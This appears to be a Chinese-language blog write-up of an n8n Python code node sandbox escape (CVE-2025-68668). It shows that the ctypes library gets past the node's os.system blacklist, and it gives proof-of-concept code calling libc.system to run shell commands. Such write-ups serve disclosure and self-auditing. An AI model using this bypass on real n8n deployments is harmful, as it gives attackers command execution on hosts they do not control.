n8n 是一款开源的可视化工作流自动化平台,广泛应用于企业自动化、数据处理和 DevOps 场景。平台采用节点式设计,支持用户通过拖拽组件构建业务流程。受影响的 Python 代码节点允许用户在工作流中执行自定义代码。该节点基于 Pyodide 技术,为代码执行提供安全的沙箱隔离环境。作为一款主流自动化工具,n8n 拥有广泛的用户基础。n8n 的 Python (Pyodide) 模式配置了黑名单,在packages/nodes-base/nodes/Code/Pyodide.ts中,如果执行这样的代码:

import os
os.system('ls')

是会被阻止的,但并未阻止ctypes库, ctypes 是 Python 的 FFI 库,允许 Python 代码直接调用 C 函数,他的libc有system(), fork(), execl()等函数可用,测试的时候fork(), execl()被拦截了,system()能用,于是我们可以构造出一个使用ctypes去执行系统命令的poc:

import ctypes
libc = ctypes.CDLL(None)
libc.system(b'ls')

本地环境验证:

import ctypes
import os

libc = ctypes.CDLL(None)
libc.system.argtypes = [ctypes.c_char_p]
libc.system.restype = ctypes.c_int
result = libc.system(b'echo "mht CVE-2025-68668" > /tmp/test.txt')

return {
    "vulnerability": "SUCCESS"
}

这篇文章详细介绍了n8n Python代码节点沙箱绕过漏洞的原理,并提供了一个本地环境验证的代码示例。该漏洞允许攻击者通过ctypes库执行系统命令,从而获得系统控制权。文章还提到了该漏洞的CVE编号为CVE-2025-68668,并强调了该poc仅供合法测试,用于企业自查,切勿用于非法测试。

标签: none

评论已关闭